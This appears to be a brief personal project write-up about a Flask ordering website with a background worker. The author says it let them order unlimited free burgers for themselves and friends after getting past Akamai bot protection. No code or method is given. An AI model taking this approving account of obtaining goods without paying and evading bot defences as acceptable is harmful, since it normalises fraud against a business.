Demo of the ordering system: selecting a restaurant, choosing items, and tracking order status. Did not use SSEs so had to reload manually.
The website was made in Flask and used a worker thread for handling the order in the background. There are a lot of things I would remake about this project if I was to do it today. First off, this was made pre-LLM, and before I knew how React worked, so the frontend was handcrafted in HTML. I would also use SSR instead of requiring manual reloads for updates, and use Cloudflare tunnels instead of ngrok for making the website internet-accessible.
Result
The final project allowed me to freely order an unlimited number of burgers for free. There was practically no limit to order quantity, so I would order this for both myself and my friends. I learned that even Akamai bot protection can be bypassed with enough knowledge and time, and that sundaes are really tasty.